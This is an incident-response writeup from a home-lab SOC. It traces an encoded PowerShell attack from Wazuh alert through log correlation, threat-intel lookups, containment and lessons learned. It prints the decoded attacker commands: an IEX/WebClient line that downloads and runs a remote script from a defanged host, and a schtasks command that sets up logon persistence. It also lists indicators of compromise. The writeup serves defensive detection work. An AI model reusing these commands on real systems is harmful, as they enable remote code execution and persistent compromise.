Detection
Containment
Techniques
Documented
On December 10, 2024, my home Mini-SOC detected encoded PowerShell execution on a lab Windows host attempting to download a remote payload and establish persistence via a scheduled task. This writeup documents the full investigation: from initial Wazuh alert through log correlation, threat intelligence enrichment, host forensics, and containment.
Raw command observed by Wazuh/Sysmon (Event ID 1):
powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQ...
Base64 decoded:
IEX (New-Object Net.WebClient).DownloadString('http://malicious[.]com/stage2.ps1')
schtasks /create /tn "SystemUpdate" /tr "powershell -File C:\Users\Public\update.ps1" /sc onlogon
IEX + WebClient, never touching disk, and (2) schtasks persistence that survives reboots. Base64 encoding specifically evades string-based detection rules.
index=suricata OR index=wazuh host="WIN-LAB-01" | eval _time=strptime(timestamp, "%Y-%m-%dT%H:%M:%S") | sort _time | table _time, src_ip, dest_ip, dest_port, alert.signature, full_log
185.220.101.42 through CyberOps Sidekick:
- AbuseIPDB: 100/100 confidence — 47 abuse reports
- VirusTotal: 8/92 engines flagged malicious
- AlienVault OTX: associated with commodity malware campaigns
- Domain age: registered 3 days prior to incident
- Event ID 4688:
powershell.exeprocess creation (parent:cmd.exe) - Sysmon Event ID 1: full command line captured including encoded payload
- Event ID 4698: "SystemUpdate" scheduled task created
- File write:
C:\Users\Public\update.ps1
- Host isolated from network via firewall egress block (DNS exception kept)
- Malicious
powershell.exe(PID 4892) terminated - Deleted
C:\Users\Public\update.ps1 - Removed "SystemUpdate" scheduled task
- Forensic evidence collected: memory dump, logs, registry hive
| Type | Value | Context |
|---|---|---|
| IP | 185.220.101.42 | C2 server — 100/100 AbuseIPDB, 8/92 VT flags |
| DOMAIN | malicious[.]com | Stage-2 payload host — 3 days old at time of incident |
| FILE | C:\Users\Public\update.ps1 | Dropped stage-2 payload script |
| PROCESS | powershell.exe (PID 4892) | Malicious execution — parent cmd.exe |
| TASK | SystemUpdate | Persistence — triggers on user logon |
| HASH | SQBFAFgAIAAo... (B64) | Encoded command payload |
- Wazuh detected the encoded command within seconds of execution
- Multi-source log correlation (HIDS + IDS + Windows events) built the full attack chain
- Automated threat intelligence via CyberOps Sidekick added context in under 30 seconds
- Forensic evidence collected before containment — proper chain of custody
- Base64 decoding was done manually — 5-minute delay that should be automated
- No pre-built response playbook: isolation steps were recalled from memory
- Manual network isolation took 15+ minutes — SOAR integration would cut this to seconds
- Splunk alert now auto-decodes Base64 PowerShell commands and appends decoded content to alert
- Custom Suricata rule written to flag PowerShell
-EncodedCommandpatterns at network layer - Incident response playbook documented for encoded PowerShell class of alerts
- Threat intel enrichment integrated directly into Splunk alert workflow
Context is everything in SOC work. The initial Wazuh alert was a single line in the logs. By correlating data across three independent sources — HIDS, network IDS, and Windows event logs — and enriching with external threat intelligence, I was able to reconstruct the complete attack chain: initial execution → obfuscation → C2 callback attempt → persistence establishment.
Detection to containment in 42 minutes on a solo analyst workflow. The gaps identified (manual decoding, no playbook, slow isolation) are exactly the kind of friction that SOAR tooling is designed to eliminate. This investigation directly informed automation improvements to the lab pipeline.